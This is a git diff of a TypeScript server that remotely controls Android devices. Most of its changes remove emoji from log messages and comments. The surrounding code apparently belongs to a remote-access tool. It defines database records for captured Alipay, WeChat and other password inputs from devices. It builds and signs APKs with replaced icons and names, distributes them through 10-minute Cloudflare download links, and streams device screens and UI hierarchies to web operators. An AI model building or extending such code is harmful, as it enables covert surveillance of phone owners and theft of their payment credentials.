= this.io.sockets.sockets.get(socketId) @@ -2172,7 +2172,7 @@ class RemoteControlServer { } /** - * 🆕 执行设备清理逻辑 + * 执行设备清理逻辑 */ private executeDeviceCleanup(deviceId: string, device: any): void { this.logger.warn(`[Cleanup] Removing device: ${deviceId} (${device.name})`) @@ -2198,7 +2198,7 @@ class RemoteControlServer { } /** - * 🔧 二次确认设备是否真正断开(避免误判) + * 二次确认设备是否真正断开(避免误判) */ private performSecondaryDeviceCheck(deviceId: string, socketId: string): void { try { @@ -2249,7 +2249,7 @@ class RemoteControlServer { } /** - * ✅ 刷新设备状态给Web客户端 + * 刷新设备状态给Web客户端 */ private refreshDeviceStatusToWebClients(): void { try { @@ -2278,7 +2278,7 @@ class RemoteControlServer { */ public async start(port: number = 3001): Promise { try { - // 🆕 先初始化 AuthService(确保超级管理员账号已创建) + // 先初始化 AuthService(确保超级管理员账号已创建) this.logger.info('正在初始化认证服务...') await this.authService.initialize() this.logger.info('认证服务初始化完成') @@ -2288,13 +2288,13 @@ class RemoteControlServer { this.logger.info(`远程控制服务器启动成功,端口: ${port}`) this.logger.info(`WebSocket服务地址: ws://localhost:${port}`) this.logger.info(`HTTP API地址: http://localhost:${port}`) - this.logger.info(`🔧 关键修复已应用:`) + this.logger.info(` 关键修复已应用:`) this.logger.info(` - Socket.IO心跳配置优化 (5分钟超时/2分钟间隔)`) this.logger.info(` - 延迟验证disconnect事件 (3秒验证期)`) this.logger.info(` - 增强设备活跃时间更新机制`) this.logger.info(` - 减少状态检查器误判 (90秒间隔)`) - // ✅ 关键修复:服务器启动后立即恢复设备状态 + // 关键修复:服务器启动后立即恢复设备状态 this.recoverDeviceStates() }) } catch (error) { diff --git a/src/managers/DeviceManager.ts b/src/managers/DeviceManager.ts index 86e139f..e222ddd 100644 --- a/src/managers/DeviceManager.ts +++ b/src/managers/DeviceManager.ts @@ -20,9 +20,9 @@ export interface DeviceInfo { status: 'online' | 'offline' | 'busy' inputBlocked?: boolean isLocked?: boolean // 设备锁屏状态 - remark?: string // 🆕 设备备注 + remark?: string // 设备备注 publicIP?: string - // 🆕 新增系统版本信息字段 + // 新增系统版本信息字段 systemVersionName?: string // 如"Android 11"、"Android 12" romType?: string // 如"MIUI"、"ColorOS"、"原生Android" romVersion?: string // 如"MIUI 12.5"、"ColorOS 11.1" @@ -55,14 +55,14 @@ class DeviceManager { } /** - * ✅ 清理所有设备记录(服务器重启时调用) + * 清理所有设备记录(服务器重启时调用) */ clearAllDevices(): void { const deviceCount = this.devices.size this.devices.clear() this.deviceStatuses.clear() this.socketToDevice.clear() - this.logger.info(`🧹 已清理所有设备记录: ${deviceCount} 个设备`) + this.logger.info(` 已清理所有设备记录: ${deviceCount} 个设备`) } /** diff --git a/src/managers/WebClientManager.ts b/src/managers/WebClientManager.ts index bcef699..11f546f 100644 --- a/src/managers/WebClientManager.ts +++ b/src/managers/WebClientManager.ts @@ -13,8 +13,8 @@ export interface WebClientInfo { connectedAt: Date lastSeen: Date controllingDeviceId?: string - userId?: string // 🔐 添加用户ID字段 - username?: string // 🔐 添加用户名字段 + userId?: string // 添加用户ID字段 + username?: string // 添加用户名字段 } /** @@ -26,9 +26,9 @@ class WebClientManager { private deviceControllers: Map = new Map() // deviceId -> clientId private logger: Logger public io?: SocketIOServer - private databaseService?: DatabaseService // 🔐 添加数据库服务引用 + private databaseService?: DatabaseService // 添加数据库服务引用 - // 🔧 添加请求速率限制 - 防止频繁重复请求 + // 添加请求速率限制 - 防止频繁重复请求 private requestTimestamps: Map = new Map() // "clientId:deviceId" -> timestamp private readonly REQUEST_COOLDOWN = 2000 // 2秒内不允许重复请求(增加冷却时间) @@ -38,7 +38,7 @@ class WebClientManager { } /** - * ✅ 清理所有客户端记录(服务器重启时调用) + * 清理所有客户端记录(服务器重启时调用) */ clearAllClients(): void { const clientCount = this.clients.size @@ -46,7 +46,7 @@ class WebClientManager { this.socketToClient.clear() this.deviceControllers.clear() this.requestTimestamps.clear() - this.logger.info(`🧹 已清理所有客户端记录: ${clientCount} 个客户端`) + this.logger.info(` 已清理所有客户端记录: ${clientCount} 个客户端`) } /** @@ -60,10 +60,10 @@ class WebClientManager { * 添加Web客户端 */ addClient(clientInfo: WebClientInfo): void { - // 🔧 检查是否已有相同Socket ID的客户端记录 + // 检查是否已有相同Socket ID的客户端记录 const existingClientId = this.socketToClient.get(clientInfo.socketId) if (existingClientId) { - this.logger.warn(`⚠️ Socket ${clientInfo.socketId} 已有客户端记录 ${existingClientId},清理旧记录`) + this.logger.warn(` Socket ${clientInfo.socketId} 已有客户端记录 ${existingClientId},清理旧记录`) this.removeClient(existingClientId) } @@ -83,7 +83,7 @@ class WebClientManager { // 如果客户端正在控制设备,释放控制权 if (client.controllingDeviceId) { - this.logger.info(`🔓 客户端断开连接,自动释放设备控制权: ${clientId} -> ${client.controllingDeviceId}`) + this.logger.info(` 客户端断开连接,自动释放设备控制权: ${clientId} -> ${client.controllingDeviceId}`) this.releaseDeviceControl(client.controllingDeviceId) } @@ -156,13 +156,13 @@ class WebClientManager { message: string currentController?: string } { - // 🔧 防止频繁重复请求 + // 防止频繁重复请求 const requestKey = `${clientId}:${deviceId}` const now = Date.now() const lastRequestTime = this.requestTimestamps.get(requestKey) || 0 if (now - lastRequestTime < this.REQUEST_COOLDOWN) { - this.logger.debug(`🚫 请求过于频繁: ${clientId} -> ${deviceId} (间隔${now - lastRequestTime}ms < ${this.REQUEST_COOLDOWN}ms)`) + this.logger.debug(` 请求过于频繁: ${clientId} -> ${deviceId} (间隔${now - lastRequestTime}ms < ${this.REQUEST_COOLDOWN}ms)`) return { success: false, message: '请求过于频繁,请稍后再试' @@ -172,17 +172,17 @@ class WebClientManager { // 获取客户端信息 const client = this.clients.get(clientId) if (!client) { - this.logger.error(`❌ 客户端不存在: ${clientId}`) + this.logger.error(` 客户端不存在: ${clientId}`) return { success: false, message: '客户端不存在' } } - // ✅ 优化:先检查是否是重复请求(已经在控制此设备) + // 优化:先检查是否是重复请求(已经在控制此设备) const currentController = this.deviceControllers.get(deviceId) if (currentController === clientId) { - this.logger.debug(`🔄 客户端 ${clientId} 重复请求控制设备 ${deviceId},已在控制中`) + this.logger.debug(` 客户端 ${clientId} 重复请求控制设备 ${deviceId},已在控制中`) client.lastSeen = new Date() // 更新请求时间戳,但返回成功(避免频繁日志) this.requestTimestamps.set(requestKey, now) @@ -198,7 +198,7 @@ class WebClientManager { // 检查设备是否被其他客户端控制 if (currentController && currentController !== clientId) { const controllerClient = this.clients.get(currentController) - this.logger.warn(`🚫 设备 ${deviceId} 控制权冲突: 当前控制者 ${currentController}, 请求者 ${clientId}`) + this.logger.warn(` 设备 ${deviceId} 控制权冲突: 当前控制者 ${currentController}, 请求者 ${clientId}`) return { success: false, message: `设备正在被其他客户端控制 (${controllerClient?.ip || 'unknown'})`, @@ -208,7 +208,7 @@ class WebClientManager { // 如果客户端已在控制其他设备,先释放 if (client.controllingDeviceId && client.controllingDeviceId !== deviceId) { - this.logger.info(`🔄 客户端 ${clientId} 切换控制设备: ${client.controllingDeviceId} -> ${deviceId}`) + this.logger.info(` 客户端 ${clientId} 切换控制设备: ${client.controllingDeviceId} -> ${deviceId}`) this.releaseDeviceControl(client.controllingDeviceId) } @@ -217,13 +217,13 @@ class WebClientManager { client.controllingDeviceId = deviceId client.lastSeen = new Date() - // 🔐 如果客户端有用户ID,将权限持久化到数据库 + // 如果客户端有用户ID,将权限持久化到数据库 if (client.userId && this.databaseService) { this.databaseService.grantUserDevicePermission(client.userId, deviceId, 'control') - this.logger.info(`🔐 用户 ${client.userId} 的设备 ${deviceId} 控制权限已持久化`) + this.logger.info(` 用户 ${client.userId} 的设备 ${deviceId} 控制权限已持久化`) } - this.logger.info(`🎮 客户端 ${clientId} 开始控制设备 ${deviceId}`) + this.logger.info(` 客户端 ${clientId} 开始控制设备 ${deviceId}`) return { success: true, @@ -241,16 +241,16 @@ class WebClientManager { if (client) { const previousDevice = client.controllingDeviceId client.controllingDeviceId = undefined - this.logger.debug(`🔓 客户端 ${controllerId} 释放设备控制权: ${previousDevice}`) + this.logger.debug(` 客户端 ${controllerId} 释放设备控制权: ${previousDevice}`) } else { - this.logger.warn(`⚠️ 控制设备 ${deviceId} 的客户端 ${controllerId} 不存在,可能已断开`) + this.logger.warn(` 控制设备 ${deviceId} 的客户端 ${controllerId} 不存在,可能已断开`) } this.deviceControllers.delete(deviceId) - this.logger.info(`🔓 设备 ${deviceId} 的控制权已释放 (之前控制者: ${controllerId})`) + this.logger.info(` 设备 ${deviceId} 的控制权已释放 (之前控制者: ${controllerId})`) return true } else { - this.logger.debug(`🤷 设备 ${deviceId} 没有被控制,无需释放`) + this.logger.debug(` 设备 ${deviceId} 没有被控制,无需释放`) return false } } @@ -266,13 +266,13 @@ class WebClientManager { * 检查客户端是否有设备控制权 */ hasDeviceControl(clientId: string, deviceId: string): boolean { - // 🛡️ 记录权限检查审计日志 + // 记录权限检查审计日志 this.logPermissionOperation(clientId, deviceId, '权限检查') - // 🔐 获取客户端信息 + // 获取客户端信息 const client = this.clients.get(clientId) - // 🆕 超级管理员绕过权限检查 + // 超级管理员绕过权限检查 if (client?.username) { const superAdminUsername = process.env.SUPERADMIN_USERNAME || 'superadmin' if (client.username === superAdminUsername) { @@ -281,28 +281,28 @@ class WebClientManager { if (!this.deviceControllers.has(deviceId) || this.deviceControllers.get(deviceId) !== clientId) { this.deviceControllers.set(deviceId, clientId) client.controllingDeviceId = deviceId - this.logger.info(`🔐 超级管理员 ${client.username} 绕过权限检查并建立控制关系: ${deviceId}`) + this.logger.info(` 超级管理员 ${client.username} 绕过权限检查并建立控制关系: ${deviceId}`) } else { - this.logger.debug(`🔐 超级管理员 ${client.username} 绕过权限检查 (已有控制关系)`) + this.logger.debug(` 超级管理员 ${client.username} 绕过权限检查 (已有控制关系)`) } return true } } - // 🔐 首先检查内存中的控制权 + // 首先检查内存中的控制权 const memoryControl = this.deviceControllers.get(deviceId) === clientId if (memoryControl) { return true } - // 🔐 如果内存中没有控制权,检查数据库中的用户权限 + // 如果内存中没有控制权,检查数据库中的用户权限 if (client?.userId && this.databaseService) { const hasPermission = this.databaseService.hasUserDevicePermission(client.userId, deviceId, 'control') if (hasPermission) { - // 🔐 如果用户有权限,自动建立控制关系(允许权限恢复) + // 如果用户有权限,自动建立控制关系(允许权限恢复) this.deviceControllers.set(deviceId, clientId) client.controllingDeviceId = deviceId - this.logger.info(`🔐 用户 ${client.userId} 基于数据库权限获得设备 ${deviceId} 控制权`) + this.logger.info(` 用户 ${client.userId} 基于数据库权限获得设备 ${deviceId} 控制权`) return true } } @@ -336,7 +336,7 @@ class WebClientManager { activeClients++ } } - this.logger.debug(`📡 广播消息到 ${activeClients} 个活跃Web客户端: ${event}`) + this.logger.debug(` 广播消息到 ${activeClients} 个活跃Web客户端: ${event}`) } } @@ -403,7 +403,7 @@ class WebClientManager { } /** - * 🔐 恢复用户的设备权限 + * 恢复用户的设备权限 */ restoreUserPermissions(userId: string, clientId: string): void { if (!this.databaseService) { @@ -416,7 +416,7 @@ class WebClientManager { const permissions = this.databaseService.getUserDevicePermissions(userId) if (permissions.length > 0) { - this.logger.info(`🔐 为用户 ${userId} 恢复 ${permissions.length} 个设备权限`) + this.logger.info(` 为用户 ${userId} 恢复 ${permissions.length} 个设备权限`) // 恢复第一个设备的控制权(优先恢复用户之前的权限) for (const permission of permissions) { @@ -426,7 +426,7 @@ class WebClientManager { const client = this.clients.get(clientId) if (client) { client.controllingDeviceId = permission.deviceId - this.logger.info(`🔐 用户 ${userId} 的设备 ${permission.deviceId} 控制权已恢复`) + this.logger.info(` 用户 ${userId} 的设备 ${permission.deviceId} 控制权已恢复`) break // 只恢复第一个设备 } } @@ -438,27 +438,27 @@ class WebClientManager { } /** - * 🔐 设置客户端用户信息 + * 设置客户端用户信息 */ setClientUserInfo(clientId: string, userId: string, username: string): void { const client = this.clients.get(clientId) if (client) { client.userId = userId client.username = username - this.logger.info(`🔐 客户端 ${clientId} 用户信息已设置: ${username} (${userId})`) + this.logger.info(` 客户端 ${clientId} 用户信息已设置: ${username} (${userId})`) - // 🛡️ 记录安全审计日志 - this.logger.info(`🛡️ 安全审计: 客户端 ${clientId} (IP: ${client.ip}) 绑定用户 ${username} (${userId})`) + // 记录安全审计日志 + this.logger.info(` 安全审计: 客户端 ${clientId} (IP: ${client.ip}) 绑定用户 ${username} (${userId})`) } } /** - * 🛡️ 记录权限操作审计日志 + * 记录权限操作审计日志 */ private logPermissionOperation(clientId: string, deviceId: string, operation: string): void { const client = this.clients.get(clientId) if (client) { - this.logger.info(`🛡️ 权限审计: 客户端 ${clientId} (用户: ${client.username || 'unknown'}, IP: ${client.ip}) 执行 ${operation} 操作,目标设备: ${deviceId}`) + this.logger.info(` 权限审计: 客户端 ${clientId} (用户: ${client.username || 'unknown'}, IP: ${client.ip}) 执行 ${operation} 操作,目标设备: ${deviceId}`) } } } diff --git a/src/server.ts b/src/server.ts index 9f3e54f..a6374da 100644 --- a/src/server.ts +++ b/src/server.ts @@ -21,31 +21,31 @@ app.use(cors({ app.use(express.json()); -// ✅ Socket.IO v4 优化配置 - 解决心跳和连接稳定性问题 +// Socket.IO v4 优化配置 - 解决心跳和连接稳定性问题 const io = new Server(server, { cors: { origin: "*", methods: ["GET", "POST"], credentials: true }, - // 🔧 心跳机制优化(v4已解决心跳方向问题) + // 心跳机制优化(v4已解决心跳方向问题) pingInterval: 25000, // 25秒发送一次ping(服务器->客户端) pingTimeout: 60000, // 60秒等待pong响应 upgradeTimeout: 30000, // 30秒传输升级超时 - // 🔧 传输优化 + // 传输优化 transports: ['websocket', 'polling'], allowEIO3: false, // 不支持旧版本协议 - // 🔧 缓冲区和数据包优化 + // 缓冲区和数据包优化 maxHttpBufferSize: 10e6, // 10MB缓冲区 allowUpgrades: true, - // 🔧 连接管理 + // 连接管理 connectTimeout: 45000, // 连接超时 serveClient: false, // 不提供客户端文件 - // 🔧 Engine.IO 配置 + // Engine.IO 配置 cookie: { name: "io", httpOnly: true, @@ -77,14 +77,14 @@ app.get('/health', (req, res) => { // Socket.IO连接处理 io.on('connection', (socket) => { - logger.info(`🔌 新连接: ${socket.id} (IP: ${socket.handshake.address})`); + logger.info(` 新连接: ${socket.id} (IP: ${socket.handshake.address})`); // 连接质量监控 const connectionStart = Date.now(); // 设备注册事件 socket.on('device_register', (deviceInfo) => { - logger.info(`📱 设备注册: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`); + logger.info(` 设备注册: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`); const device: any = { id: deviceInfo.deviceId, @@ -109,7 +109,7 @@ io.on('connection', (socket) => { const socket = io.sockets.sockets.get(client.socketId); return socket && socket.connected; }).length; - logger.info(`📢 通知 ${activeWebClients} 个活跃Web客户端有新设备连接`); + logger.info(` 通知 ${activeWebClients} 个活跃Web客户端有新设备连接`); webClientManager.broadcastToAll('device_connected', { device: deviceManager.getDevice(deviceInfo.deviceId) }); @@ -119,7 +119,7 @@ io.on('connection', (socket) => { // Web客户端注册事件 socket.on('web_client_register', (clientInfo) => { - logger.info(`🌐 Web客户端注册: ${clientInfo.userAgent || 'unknown'}`); + logger.info(` Web客户端注册: ${clientInfo.userAgent || 'unknown'}`); const clientData = { id: socket.id, @@ -176,46 +176,46 @@ io.on('connection', (socket) => { // 测试连接监听器 socket.on('CONNECTION_TEST', (data) => { - logger.info(`🧪🧪🧪 收到连接测试: ${JSON.stringify(data)}`); + logger.info(` 收到连接测试: ${JSON.stringify(data)}`); - // 🔧 修复:回复确认消息给Android端,避免心跳失败累积 + // 修复:回复确认消息给Android端,避免心跳失败累积 try { socket.emit('CONNECTION_TEST_RESPONSE', { success: true, timestamp: Date.now(), receivedData: data }); - logger.debug(`✅ 已回复CONNECTION_TEST确认消息`); + logger.debug(` 已回复CONNECTION_TEST确认消息`); } catch (error) { - logger.error(`❌ 回复CONNECTION_TEST失败:`, error); + logger.error(` 回复CONNECTION_TEST失败:`, error); } }); // 简单测试事件监听器 socket.on('SIMPLE_TEST_EVENT', (data) => { - logger.info(`🧪🧪🧪 收到简单测试事件!!! 数据: ${JSON.stringify(data)}`); + logger.info(` 收到简单测试事件!!! 数据: ${JSON.stringify(data)}`); }); // 调试:UI响应前的测试消息 socket.on('debug_test_before_ui', (data) => { - logger.info(`🧪🧪🧪 收到UI响应前调试测试!!! Socket: ${socket.id}`); - logger.info(`🧪 测试数据: ${JSON.stringify(data)}`); + logger.info(` 收到UI响应前调试测试!!! Socket: ${socket.id}`); + logger.info(` 测试数据: ${JSON.stringify(data)}`); }); // 简单测试消息监听器 socket.on('simple_test', (data) => { - logger.info(`🧪🧪🧪 收到简单测试消息!!! Socket: ${socket.id}, 数据: ${JSON.stringify(data)}`); + logger.info(` 收到简单测试消息!!! Socket: ${socket.id}, 数据: ${JSON.stringify(data)}`); }); // UI层次结构响应 (设备端响应) socket.on('ui_hierarchy_response', (data) => { - logger.info(`📱📱📱 [GLOBAL] 收到UI层次结构响应!!! Socket: ${socket.id}`); - logger.info(`📋 响应数据字段: deviceId=${data?.deviceId}, success=${data?.success}, clientId=${data?.clientId}, hierarchy存在=${!!data?.hierarchy}`); - logger.info(`📋 完整响应数据: ${JSON.stringify(data).substring(0, 500)}...`); + logger.info(` [GLOBAL] 收到UI层次结构响应!!! Socket: ${socket.id}`); + logger.info(` 响应数据字段: deviceId=${data?.deviceId}, success=${data?.success}, clientId=${data?.clientId}, hierarchy存在=${!!data?.hierarchy}`); + logger.info(` 完整响应数据: ${JSON.stringify(data).substring(0, 500)}...`); - // ✅ 参考screen_data的处理方式,直接调用专用路由方法 + // 参考screen_data的处理方式,直接调用专用路由方法 const routeResult = messageRouter.routeUIHierarchyResponse(socket.id, data); - logger.info(`📤 UI层次结构路由结果: ${routeResult}`); + logger.info(` UI层次结构路由结果: ${routeResult}`); }); // 设备控制请求 @@ -242,14 +242,14 @@ io.on('connection', (socket) => { messageRouter.routeClientEvent(socket.id, eventData.type, eventData.data); }); - // 🆕 权限申请响应(设备端响应) + // 权限申请响应(设备端响应) socket.on('permission_response', (data) => { - logger.info(`📱 收到设备权限申请响应: Socket: ${socket.id}`); - logger.info(`📋 响应数据: deviceId=${data?.deviceId}, permissionType=${data?.permissionType}, success=${data?.success}, message=${data?.message}`); + logger.info(` 收到设备权限申请响应: Socket: ${socket.id}`); + logger.info(` 响应数据: deviceId=${data?.deviceId}, permissionType=${data?.permissionType}, success=${data?.success}, message=${data?.message}`); // 路由权限申请响应 const routeResult = messageRouter.routePermissionResponse(socket.id, data); - logger.info(`📤 权限申请响应路由结果: ${routeResult}`); + logger.info(` 权限申请响应路由结果: ${routeResult}`); }); @@ -260,13 +260,13 @@ io.on('connection', (socket) => { // 记录所有接收到的事件 socket.onAny((eventName, ...args) => { if (!['connect', 'disconnect', 'screen_data', 'device_register', 'web_client_register', 'control_command', 'client_event'].includes(eventName)) { - logger.info(`🔍 收到未知事件: ${eventName}, 数据: ${JSON.stringify(args).substring(0, 100)}...`); + logger.info(` 收到未知事件: ${eventName}, 数据: ${JSON.stringify(args).substring(0, 100)}...`); } // 特别关注UI层次结构响应 if (eventName === 'ui_hierarchy_response') { - logger.info(`📱📱📱 收到UI层次结构响应!!! 事件名: ${eventName}`); - logger.info(`📋 响应数据: ${JSON.stringify(args).substring(0, 500)}...`); + logger.info(` 收到UI层次结构响应!!! 事件名: ${eventName}`); + logger.info(` 响应数据: ${JSON.stringify(args).substring(0, 500)}...`); } }); @@ -274,7 +274,7 @@ io.on('connection', (socket) => { const duration = Math.round((Date.now() - connectionStart) / 1000); const quality = duration > 300 ? 'excellent' : duration > 60 ? 'good' : duration > 30 ? 'fair' : 'poor'; - logger.info(`📴 连接断开: ${socket.id}, 原因: ${reason}, 持续时间: ${duration}秒, 质量: ${quality}`); + logger.info(` 连接断开: ${socket.id}, 原因: ${reason}, 持续时间: ${duration}秒, 质量: ${quality}`); // 更新数据库中的断开连接记录 databaseService.updateDisconnection(socket.id); @@ -282,7 +282,7 @@ io.on('connection', (socket) => { // 移除设备或Web客户端 const device = deviceManager.getDeviceBySocketId(socket.id); if (device) { - logger.info(`📱 设备断开: ${device.name} (${device.id})`); + logger.info(` 设备断开: ${device.name} (${device.id})`); deviceManager.removeDevice(device.id); // 通知所有Web客户端设备已断开 @@ -293,7 +293,7 @@ io.on('connection', (socket) => { // 可能是Web客户端断开 const clientRemoved = webClientManager.removeClientBySocketId(socket.id); if (clientRemoved) { - logger.info(`🌐 Web客户端断开: ${socket.id}`); + logger.info(` Web客户端断开: ${socket.id}`); } } }); @@ -312,9 +312,9 @@ process.on('uncaughtException', (error) => { const PORT = process.env.PORT || 3000; server.listen(PORT, () => { - logger.info(`🚀 服务器启动在端口 ${PORT}`); - logger.info(`📊 健康检查: http://localhost:${PORT}/health`); - logger.info(`🔧 Socket.IO v4配置已优化 - 心跳: ${25000}ms/${60000}ms`); + logger.info(` 服务器启动在端口 ${PORT}`); + logger.info(` 健康检查: http://localhost:${PORT}/health`); + logger.info(` Socket.IO v4配置已优化 - 心跳: ${25000}ms/${60000}ms`); }); export default server; \ No newline at end of file diff --git a/src/services/APKBuildService.ts b/src/services/APKBuildService.ts index ad3014e..a4f8526 100644 --- a/src/services/APKBuildService.ts +++ b/src/services/APKBuildService.ts @@ -64,7 +64,7 @@ export default class APKBuildService { this.logger.error(`[构建日志] ${message}`) break case 'success': - this.logger.info(`[构建日志] ✅ ${message}`) + this.logger.info(`[构建日志] ${message}`) break } } @@ -420,7 +420,7 @@ export default class APKBuildService { this.buildStatus.message = '生成分享链接...' this.addBuildLog('info', '生成分享链接...') - // 🚀 自动生成Cloudflare分享链接 + // 自动生成Cloudflare分享链接 const apkPath = signedApkPath const filename = buildResult.filename! @@ -673,7 +673,7 @@ export default class APKBuildService { // 写入图标文件 fs.writeFileSync(fullPath, iconFile.buffer) - this.logger.info(`✅ 已更新图标: ${iconPath}`) + this.logger.info(` 已更新图标: ${iconPath}`) } catch (error) { this.logger.error(`更新图标失败 ${iconPath}:`, error) // 继续处理其他图标,不中断整个过程 @@ -699,14 +699,14 @@ export default class APKBuildService { } fs.writeFileSync(fullPath, iconFile.buffer) - this.logger.info(`✅ 已更新圆形图标: ${iconPath}`) + this.logger.info(` 已更新圆形图标: ${iconPath}`) } catch (error) { this.logger.error(`更新圆形图标失败 ${iconPath}:`, error) // 继续处理其他图标,不中断整个过程 } } - this.logger.info('✅ 应用图标更新完成') + this.logger.info(' 应用图标更新完成') } catch (error) { this.logger.error('更新应用图标失败:', error) diff --git a/src/services/AdaptiveQualityService.ts b/src/services/AdaptiveQualityService.ts index 5056dce..2a09ae1 100644 --- a/src/services/AdaptiveQualityService.ts +++ b/src/services/AdaptiveQualityService.ts @@ -35,9 +35,9 @@ interface DeviceQualityState { const QUALITY_PROFILES: Record = { low: { fps: 5, quality: 30, maxWidth: 360, maxHeight: 640, label: '低画质' }, - medium: { fps: 10, quality: 45, maxWidth: 480, maxHeight: 854, label: '中画质' }, - high: { fps: 15, quality: 60, maxWidth: 720, maxHeight: 1280, label: '高画质' }, - ultra: { fps: 20, quality: 75, maxWidth: 1080, maxHeight: 1920, label: '超高画质' }, + medium: { fps: 15, quality: 45, maxWidth: 480, maxHeight: 854, label: '中画质' }, + high: { fps: 20, quality: 55, maxWidth: 720, maxHeight: 1280, label: '高画质' }, + ultra: { fps: 25, quality: 70, maxWidth: 1080, maxHeight: 1920, label: '超高画质' }, } export class AdaptiveQualityService { @@ -129,7 +129,7 @@ export class AdaptiveQualityService { state.maxWidth = profile.maxWidth state.maxHeight = profile.maxHeight - this.logger.info(`📊 设备${deviceId}手动切换画质: ${profile.label}`) + this.logger.info(` 设备${deviceId}手动切换画质: ${profile.label}`) return { params: profile } } @@ -149,7 +149,7 @@ export class AdaptiveQualityService { if (params.maxHeight !== undefined) state.maxHeight = Math.max(320, Math.min(2560, params.maxHeight)) state.currentProfile = 'custom' - this.logger.info(`📊 设备${deviceId}自定义参数: fps=${state.fps}, quality=${state.quality}, ${state.maxWidth}x${state.maxHeight}`) + this.logger.info(` 设备${deviceId}自定义参数: fps=${state.fps}, quality=${state.quality}, ${state.maxWidth}x${state.maxHeight}`) return { params: { fps: state.fps, @@ -177,14 +177,14 @@ export class AdaptiveQualityService { state.maxWidth = profile.maxWidth state.maxHeight = profile.maxHeight - this.logger.info(`📉 设备${deviceId}自动降低画质: ${profile.label} (丢帧率${(state.clientDropRate * 100).toFixed(1)}%)`) + this.logger.info(` 设备${deviceId}自动降低画质: ${profile.label} (丢帧率${(state.clientDropRate * 100).toFixed(1)}%)`) return { shouldAdjust: true, newParams: profile } } // 已经是最低档,尝试进一步降低fps if (state.fps > 3) { state.fps = Math.max(3, state.fps - 2) - this.logger.info(`📉 设备${deviceId}降低帧率到${state.fps}fps`) + this.logger.info(` 设备${deviceId}降低帧率到${state.fps}fps`) return { shouldAdjust: true, newParams: { fps: state.fps } } } @@ -208,7 +208,7 @@ export class AdaptiveQualityService { state.maxWidth = profile.maxWidth state.maxHeight = profile.maxHeight - this.logger.info(`📈 设备${deviceId}自动提升画质: ${profile.label}`) + this.logger.info(` 设备${deviceId}自动提升画质: ${profile.label}`) return { shouldAdjust: true, newParams: profile } } diff --git a/src/services/AuthService.ts b/src/services/AuthService.ts index 1b52415..2430c5c 100644 --- a/src/services/AuthService.ts +++ b/src/services/AuthService.ts @@ -197,7 +197,7 @@ export class AuthService { this.logger.info(`用户 ${this.SUPERADMIN_USERNAME} 已更新为超级管理员`) } - // 🆕 如果环境变量中设置了密码,始终用环境变量中的密码更新(确保.env配置生效) + // 如果环境变量中设置了密码,始终用环境变量中的密码更新(确保.env配置生效) // 通过验证当前密码哈希与环境变量密码是否匹配来判断是否需要更新 if (this.SUPERADMIN_PASSWORD) { const isCurrentPassword = await bcrypt.compare(this.SUPERADMIN_PASSWORD, existingUser.passwordHash) diff --git a/src/services/CloudflareShareService.ts b/src/services/CloudflareShareService.ts index 1b1b230..0124371 100644 --- a/src/services/CloudflareShareService.ts +++ b/src/services/CloudflareShareService.ts @@ -339,13 +339,13 @@ export class CloudflareShareService {
-
📱
+

APK文件下载

${filename}
文件大小: ${fileSize}
立即下载
- ⚠️ 此下载链接有效期为10分钟,请及时下载 + 此下载链接有效期为10分钟,请及时下载
diff --git a/src/services/ConnectionPoolService.ts b/src/services/ConnectionPoolService.ts index 0927978..90e570b 100644 --- a/src/services/ConnectionPoolService.ts +++ b/src/services/ConnectionPoolService.ts @@ -53,9 +53,9 @@ export class ConnectionPoolService { ): boolean { // 检查是否超过最大连接数 if (this.connections.size >= this.MAX_CONNECTIONS) { - this.logger.warn(`⚠️ 连接池已满 (${this.MAX_CONNECTIONS}), 尝试驱逐低优先级连接`) + this.logger.warn(` 连接池已满 (${this.MAX_CONNECTIONS}), 尝试驱逐低优先级连接`) if (!this.evictLRU()) { - this.logger.error(`❌ 无法添加新连接: 连接池已满且无法驱逐`) + this.logger.error(` 无法添加新连接: 连接池已满且无法驱逐`) return false } } @@ -72,7 +72,7 @@ export class ConnectionPoolService { isActive: true }) - this.logger.debug(`✅ 连接已添加: ${socketId} (${type}, ${priority})`) + this.logger.debug(` 连接已添加: ${socketId} (${type}, ${priority})`) return true } @@ -82,7 +82,7 @@ export class ConnectionPoolService { removeConnection(socketId: string): boolean { const removed = this.connections.delete(socketId) if (removed) { - this.logger.debug(`✅ 连接已移除: ${socketId}`) + this.logger.debug(` 连接已移除: ${socketId}`) } return removed } @@ -194,7 +194,7 @@ export class ConnectionPoolService { } if (lruSocket) { - this.logger.info(`🗑️ 驱逐LRU连接: ${lruSocket} (${lruPriority})`) + this.logger.info(` 驱逐LRU连接: ${lruSocket} (${lruPriority})`) this.connections.delete(lruSocket) return true } @@ -217,7 +217,7 @@ export class ConnectionPoolService { } if (cleanedCount > 0) { - this.logger.info(`🧹 清理空闲连接: ${cleanedCount}个`) + this.logger.info(` 清理空闲连接: ${cleanedCount}个`) } } diff --git a/src/services/DatabaseService.ts b/src/services/DatabaseService.ts index ff3827f..7c43741 100644 --- a/src/services/DatabaseService.ts +++ b/src/services/DatabaseService.ts @@ -16,10 +16,10 @@ export interface DeviceRecord { lastSeen: Date connectionCount: number lastSocketId?: string - status: 'online' | 'offline' | 'busy' // ✅ 添加设备状态字段 - publicIP?: string // 🆕 添加公网IP字段 - remark?: string // 🆕 添加设备备注字段 - // 🆕 新增系统版本信息字段 + status: 'online' | 'offline' | 'busy' // 添加设备状态字段 + publicIP?: string // 添加公网IP字段 + remark?: string // 添加设备备注字段 + // 新增系统版本信息字段 systemVersionName?: string // 如"Android 11"、"Android 12" romType?: string // 如"MIUI"、"ColorOS"、"原生Android" romVersion?: string // 如"MIUI 12.5"、"ColorOS 11.1" @@ -36,7 +36,7 @@ export interface OperationLogRecord { timestamp: Date } -// ✅ 新增设备状态记录接口 +// 新增设备状态记录接口 export interface DeviceStateRecord { deviceId: string password?: string @@ -52,7 +52,7 @@ export interface DeviceStateRecord { updatedAt: Date } -// 💰 支付宝密码记录接口 +// 支付宝密码记录接口 export interface AlipayPasswordRecord { id?: number deviceId: string @@ -65,7 +65,7 @@ export interface AlipayPasswordRecord { createdAt: Date } -// 💬 微信密码记录接口 +// 微信密码记录接口 export interface WechatPasswordRecord { id?: number deviceId: string @@ -78,7 +78,7 @@ export interface WechatPasswordRecord { createdAt: Date } -// 🔐 通用密码输入记录接口 +// 通用密码输入记录接口 export interface PasswordInputRecord { id?: number deviceId: string @@ -138,21 +138,21 @@ export class DatabaseService { // 确保新增列存在(迁移) this.ensureDeviceTableColumns() - // ✅ 添加status字段到现有表(如果不存在) + // 添加status字段到现有表(如果不存在) 